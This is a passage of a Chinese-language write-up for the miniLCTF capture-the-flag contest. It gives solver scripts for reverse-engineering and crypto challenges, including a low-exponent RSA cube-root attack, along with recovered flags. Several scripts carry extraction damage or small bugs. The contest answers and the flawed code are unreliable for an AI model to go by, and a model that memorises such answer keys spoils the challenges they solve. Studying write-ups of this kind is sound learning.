26         }
27     }
28     def RunMe(){
29         var b=n();
30         print("[+] Starting...");
31         n.sign(n.res,n.enc);
32         print(n.flag);
33         print("[+] Done!")
34     }
```


Python

```
1  #lemon
2  var a=221492336;
3  def next(){
4  a=(a*3735928559+2974593325)%4294967295; # 不知道为啥这里放到python里输出会不一样，
    因此直接用lemon计算
5  }
6  var enc=[];
7  for(var i=0;i<35;i+=1){
8  next();
9  enc.append(a);
10 }
11 print(enc);
```

Python

```
1  res=[2141786733,76267819,37219027,219942343,755999918,701306806,532732060,3342
    34642,524809386,333469062,160092960,126810196,238089888,301365991,258515107,42
    4705310,1041878913,618187854,4680810,827308967,66957703,924471115,735310319,54
    1128627,47689903,459905620,495518230,167708778,586337393,521761774,861166604,6
    26644061,1030425184,665229750,330150339]
2
3  enc=[2141786624, 76267842, 37219005, 219942318, 755999970, 701306837, 53273213
    6, 334234740, 524809425, 333469162, 160092947, 126810169, 238089872, 301365897
    , 258515196, 424705327, 1041879026, 618187793, 4680729, 827308951, 66957784, 9
    24471096, 735310303, 541128646, 47689949, 459905574, 495518276, 167708765, 586
    337350, 521761724, 861166718, 626644015, 1030425138, 665229697, 330150334]
4
5  flag=[chr(res[i]^enc[i]) for i in range(35)]
6  print(''.join(flag))
```

Crypto

Double S | yolande

拿一组的 cipher 不断求模 name 的值然后就得到了 A，再转为字符串，就得到了 flag.

Python

```
1  from libnum import s2n, n2s
2
3
4  def msg(name, cip):
5      inp = s2n(name)
6      a = []
7      while cip > inp:
8          a.append(cip % inp)
9          cip = cip // inp
10     return a
11
12
13 name = 'blackbird'
14 cip = 393191193930852710704493028173571094687183364584645590725396747815767006
775786152679461799678675027467628413426460706209531373049423083447681750174661
658514495604150109983947984630463567098560200098800761541267684976698521956392
668009497610802461713872930838634128649453742761534565003318427835243629937090
979227853602685536314624699257952313862791369440949441478499564581222007538398
336405764760847662084550030784801117011449891622140714249818478418084740173374
949421367085373668391759801405628341357055130500666026570145463242436679669256
367908926346096759434164869339339517774876887033098903803225247576915703076188
283938933730368978683987956942188862352604617183085
15 a = msg(name, cip)
16
17 flag = b''
18 for i in a:
19     flag += n2s(i)
20 flag = b'miniLCTF{' + flag[1:flag.find(b'#{',1)] + b'}'
21 print(flag)
```

后来又写了一个预期解：看作 32 个方程用矩阵求解。

Python

```
1 from libnum import s2n, n2s
2
3 n = 32
4 t = 32
5 f = open('./outputs', 'rb')
6 l = b''
7 name = []
8 cipher = []
9 for i in range(t):
10     l = f.readline()
11     name.append(s2n(l[:l.find(b' ')]))
12     cipher.append(int(l[l.find(b' ') + 1:]))
13
14 cip = vector(ZZ, cipher)
15 x = matrix(ZZ, [[pow(name[i], j) for j in range(n)] for i in range(t)])
16
17 A = x.solve_right(cip)
18 print(A)
19 flag = b''
20 for i in range(n-16):
21     flag += n2s(int(A[i]))
22 flag = b'miniLCTF{' + flag[1:flag.find(b'#,1)] + b'}'
23 print(flag)
```

DoubleSS | tr0uble

跟 Double S 一样的

Python

```
1 from libnum import s2n, n2s
2
3
4 def msg(name, cip):
5     inp = s2n(name)
6     a = []
7     while cip > inp:
8         a.append(cip % inp)
9         cip = cip // inp
10    return a
11
12
13 name = 'flight'
14 cip = 681548947788545257171908470215714402027366388456076638817260256652601068
159994214178129329815538922728875997880408595624006977483123791977038600001476
962035679424381626979440233624388604742877668431928734042146963040097834236642
685148426005597273948748551554150710721466950076630111038926463843745461418138
543720607213518319851161068353531886051408031866757023657881945124592438992743
4360114231226836430030557569747844132031094312854760074214373
15 a = msg(name, cip)
16
17 flag = b''
18 for i in a:
19     flag += n2s(i)
20 flag = b'miniLCTF{' + flag[1:flag.find(b'#{',1)] + b'}'
21 print(flag)
```

CoPiano | tr0uble

低加密指数，然后

$$m \text{ xor } x = m + x - 2(m \text{ and } x)$$

Python

```
1 import gmpy2
2 from libnum import s2n, n2s
3
4 nbit = 2048
5 cipher_block_length = nbit // 8 # 256
6 plain_block_length = cipher_block_length // 8 # 32
7 f = open("./output", 'rb')
8 N =
195585953676647175585772433011688869976558197749235067072051918548685604912976
116990607203955880373949646935457350044720426916247032109854779176814776950989
```

```

881291928905278576926127999877055256058375154090510893526805764402922731689895
001819603044286928381900737181342653181972159268849625169124058455333804528046
347699198962563946280518772688742177593064889378852644006077377995447213852798
514556066878669774236266662840523450259213219174599630926557003827949851349525
544215231521617355410045428235769909885502352855281821211809265271713483217990
73950203117232025725648064425960928093148719948108395721990772066646967
9 f.readline()
10 f.readline()
11 e = 3
12 c = f.read()[3:]
13 f.close()
14 x_list =
[89599996522125494728132065796081314888810950095181744512992356094917495827443
,
15
111979904109756127394693679024647005275390867856812731994635347988900596298901
,
16
106209012329777910330837000863123340116235602175776978549841304856845930037121
,
17
18173721445537427668177128539415608714155641511817069640781972116265623529623,
18
81507795317783462067383199855617452525104003153691291402800284746422706616929,
19
33854282304827101977159638930122849867940456079942035936413397560316807528057]
20 t_list =
[30759544486063570688860219879387102783547151285697461243698476828942537859168
,
21
45684268045908628534389489460421258486103756929759619145835441239375997050885,
22
47153891839807896976831212745370875626929694348851552426519136773945719614976,
23
14540075752480743007439285282769614519129399754512051542462921184787579281415,
24
14532773489254802771844322584435345295138446685678524359091428883876727759457,
25
33499974240730319678796819208752236675597746143166267811713245828429274677248]
26 cipher = []
27 while len(cipher) < 6:
28     cipher.append(s2n(c[:256]))
29     c = c[256:]
30
31
32 def rsa_decrypt(c, N, e):
33     k = 0
34     while True:

```

```

34         while True:
35             if gmpy2.iroot(c + k * N, e)[1]:
36                 return int(gmpy2.iroot(c, e)[0])
37             k += 1
38
39
40 def decrypt(c, x, t):
41     return c + 2 * (x & t) - x
42
43
44 plain_block = []
45 m = b''
46 for i in range(len(cipher)):
47     cipher_part = cipher[i]
48     x, t = x_list[i], t_list[i]
49     m_xor_x = rsa_decrypt(cipher_part, N, e)
50     # plain_block.append(decrypt(m_xor_x, x, t))
51     m += n2s(decrypt(m_xor_x, x, t))
52
53 print(m)

```

Misc

彩蛋题 | ek1ng

访问官网<https://xdsec.org/flag.html>

| LCTF{h4ck3d_by_shal10w}